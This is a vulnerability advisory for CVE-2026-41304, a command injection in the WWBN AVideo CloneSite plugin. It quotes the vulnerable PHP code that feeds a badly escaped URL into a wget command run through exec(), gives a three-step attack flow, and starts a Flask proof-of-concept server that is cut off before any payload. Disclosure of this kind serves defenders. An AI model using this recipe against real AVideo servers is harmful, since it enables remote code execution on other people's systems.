WWBN AVideo: RCE cause by clonesite plugin
Date: 2026-04
Affected: composer/wwbn/avideo
Attack vector: command-injection
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-41304
CWE: CWE-77
CWE-78
CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Description ## Summary The `cloneServer.json.php` endpoint in the CloneSite plugin constructs shell commands using user-controlled input (`url` parameter) without proper sanitization. The input is directly concatenated into a `wget` command executed via `exec()`, allowing command injection. An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., `;`). This leads to **Remote Code Execution (RCE)** on the server. ## Details Inside `plugin/CloneSite/cloneClient.json.php`(line112) didn't have proper sanitization ```php $objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL)); ``` use `str_replace ` make `'` added by `escapeshellarg` become ` ` so hacker can inject evil `cloneSiteURL` to rce ```php $sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116 $cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117 exec($cmd . " 2>&1", $output, $return_val); \\119 ``` The attack flow 1. make a evil site to provide date 2. add evil url in `objects/pluginAddDataObject.json.php` 3. access `plugin/CloneSite/cloneClient.json.php` to trigger rce ## Poc make a evil site use python like this ```python from flask import Flask, jsonify, request app = Flask(__name__) @app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def catch_all(path): print("PATH:", path) return jsonify({ "error": False, "msg": "",


Mitigations:

Architectural layers (MAESTRO):